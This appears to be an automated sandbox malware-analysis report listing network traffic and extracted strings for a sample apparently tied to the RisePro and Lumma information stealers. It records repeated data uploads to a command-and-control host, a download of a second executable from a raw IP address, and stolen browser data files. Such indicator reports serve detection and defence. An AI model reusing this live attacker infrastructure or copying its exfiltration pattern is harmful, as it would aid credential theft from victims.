Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7091Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7091Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1411Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1411Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 584825Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 584853Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 585358Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8779Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7091Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1412Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 584522Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8779Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7091Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1388Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 591259Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: HEAD /lumma1504.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.253Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lumma1504.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.253Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.253

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

Code function: 0_2_00D32890 recv,setsockopt,

0_2_00D32890

Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.57.52 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.57.52 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /lumma1504.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.253Cache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: ipinfo.io

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: bordersoarmanusjuw.shop

Source: 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1842940469.0000000005FF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.253/lumma1504.exe
Source: 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.253/lumma1504.exedser
Source: 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.253/lumma1504.exesw
Source: 2q45IEa3Ee.exe	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: 2q45IEa3Ee.exe	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: 2q45IEa3Ee.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: 2q45IEa3Ee.exe, 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: 2q45IEa3Ee.exe, 00000000.00000003.1812931401.0000000005FE1000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1815262466.0000000005FFF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1811745370.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp, _TP0jqeyFqX_Web Data.0.dr, PGpLy2WBlLFSWeb Data.0.dr, y_CqgZq8h7seWeb Data.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegAsm.exe, RegAsm.exe, 0000000B.00000002.1939197101.00000000006DA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.1939197101.000000000071D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2048327163.00000000014EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/
Source: RegAsm.exe, 0000000A.00000002.1936828284.00000000037E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/#
Source: RegAsm.exe, 0000000A.00000002.1936237566.000000000162F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/&Y
Source: RegAsm.exe, 00000011.00000002.2130384793.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/0
Source: RegAsm.exe, 00000011.00000002.2130384793.00000000015C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/O
Source: RegAsm.exe, 00000011.00000002.2130384793.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/San
Source: RegAsm.exe, 00000011.00000002.2130384793.00000000015C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/Xavf
Source: RegAsm.exe, RegAsm.exe, 0000000B.00000002.1939197101.000000000071D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.1939197101.0000000000785000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2049332296.000000000358C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2048327163.00000000014EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2048327163.00000000014B5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000011.00000002.2130384793.00000000015C9000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000011.00000002.2130384793.0000000001576000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000011.00000002.2131175305.0000000003840000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/api
Source: RegAsm.exe, 00000007.00000002.1920835027.00000000014BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/api$
Source: RegAsm.exe, 0000000A.00000002.1936237566.00000000015CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/api(
Source: RegAsm.exe, 00000011.00000002.2131175305.0000000003840000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/apiM
Source: RegAsm.exe, 0000000A.00000002.1936237566.000000000162F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/apiVY
Source: RegAsm.exe, 0000000B.00000002.1939197101.00000000006DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/apie
Source: RegAsm.exe, 00000007.00000002.1920616270.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/apir
Source: RegAsm.exe, 0000000B.00000002.1939197101.00000000006DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/es)
Source: RegAsm.exe, 0000000F.00000002.2048327163.00000000014B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/k9
Source: RegAsm.exe, 00000011.00000002.2130384793.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/ll
Source: RegAsm.exe, 0000000B.00000002.1939197101.0000000000795000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/pi
Source: RegAsm.exe, 00000007.00000002.1920616270.00000000013CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/piable
Source: RegAsm.exe, 00000011.00000002.2130384793.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/rx
Source: RegAsm.exe, 0000000F.00000002.2048327163.00000000014EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/y
Source: RegAsm.exe, 00000011.00000002.2130384793.000000000156B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop:443/api
Source: RegAsm.exe, 0000000A.00000002.1936237566.0000000001580000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop:443/apiSID
Source: 2q45IEa3Ee.exe, 00000000.00000003.1812931401.0000000005FE1000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1815262466.0000000005FFF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1811745370.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp, _TP0jqeyFqX_Web Data.0.dr, PGpLy2WBlLFSWeb Data.0.dr, y_CqgZq8h7seWeb Data.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 2q45IEa3Ee.exe, 00000000.00000003.1812931401.0000000005FE1000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1815262466.0000000005FFF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1811745370.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp, _TP0jqeyFqX_Web Data.0.dr, PGpLy2WBlLFSWeb Data.0.dr, y_CqgZq8h7seWeb Data.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 2q45IEa3Ee.exe, 00000000.00000003.1812931401.0000000005FE1000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1815262466.0000000005FFF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1811745370.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp, _TP0jqeyFqX_Web Data.0.dr, PGpLy2WBlLFSWeb Data.0.dr, y_CqgZq8h7seWeb Data.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/
Source: 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.57.52
Source: 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=81.181.57.52
Source: 2q45IEa3Ee.exe, 00000000.00000003.1812931401.0000000005FE1000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1815262466.0000000005FFF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1811745370.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp, _TP0jqeyFqX_Web Data.0.dr, PGpLy2WBlLFSWeb Data.0.dr, y_CqgZq8h7seWeb Data.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 2q45IEa3Ee.exe, 00000000.00000003.1812931401.0000000005FE1000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1815262466.0000000005FFF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1811745370.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp, _TP0jqeyFqX_Web Data.0.dr, PGpLy2WBlLFSWeb Data.0.dr, y_CqgZq8h7seWeb Data.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 2q45IEa3Ee.exe, 00000000.00000003.1812931401.0000000005FE1000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1815262466.0000000005FFF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1811745370.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp, _TP0jqeyFqX_Web Data.0.dr, PGpLy2WBlLFSWeb Data.0.dr, y_CqgZq8h7seWeb Data.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 2q45IEa3Ee.exe, 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017AB000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000002.1877753884.0000000001767000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: 2q45IEa3Ee.exe, 00000000.00000003.1627570903.00000000016F0000.00000004.00001000.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://ipinfo.io/Content-Type:
Source: 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/L
Source: 2q45IEa3Ee.exe, 00000000.00000002.1877753884.0000000001767000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/s
Source: 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/81.181.57.52
Source: 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/81.181.57.52/0
Source: 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/81.181.57.52
Source: 2q45IEa3Ee.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://support.mozilla.org
Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: 2q45IEa3Ee.exe, 00000000.00000003.1812141315.0000000005FBF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1814756856.0000000005FDD000.00000004.00000020.00020000.00000000.sdmp, 4yAbYkouo2kFHistory.0.dr, SMhcoWrJBtJiHistory.0.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 4yAbYkouo2kFHistory.0.dr, SMhcoWrJBtJiHistory.0.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 2q45IEa3Ee.exe, 00000000.00000003.1812141315.0000000005FBF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1814756856.0000000005FDD000.00000004.00000020.00020000.00000000.sdmp, 4yAbYkouo2kFHistory.0.dr, SMhcoWrJBtJiHistory.0.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 4yAbYkouo2kFHistory.0.dr, SMhcoWrJBtJiHistory.0.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: uw5Stgma3gbM9Xo4g_6cCoQ.zip.0.dr	String found in binary or memory: https://t.me/RiseProSUPPORT
Source: 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1821067278.0000000006026000.00000004.00000020.00020000.00000000.sdmp, passwords.txt.0.dr	String found in binary or memory: https://t.me/risepro_bot
Source: 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot.52igY
Source: 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botrisepro8Y
Source: 2q45IEa3Ee.exe, 00000000.00000003.1812931401.0000000005FE1000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1815262466.0000000005FFF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1811745370.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp, _TP0jqeyFqX_Web Data.0.dr, PGpLy2WBlLFSWeb Data.0.dr, y_CqgZq8h7seWeb Data.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 2q45IEa3Ee.exe, 00000000.00000003.1812931401.0000000005FE1000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1815262466.0000000005FFF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1811745370.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp, _TP0jqeyFqX_Web Data.0.dr, PGpLy2WBlLFSWeb Data.0.dr, y_CqgZq8h7seWeb Data.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 2q45IEa3Ee.exe, 2q45IEa3Ee.exe, 00000000.00000003.1627570903.00000000016F0000.00000004.00001000.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://www.mozilla.org
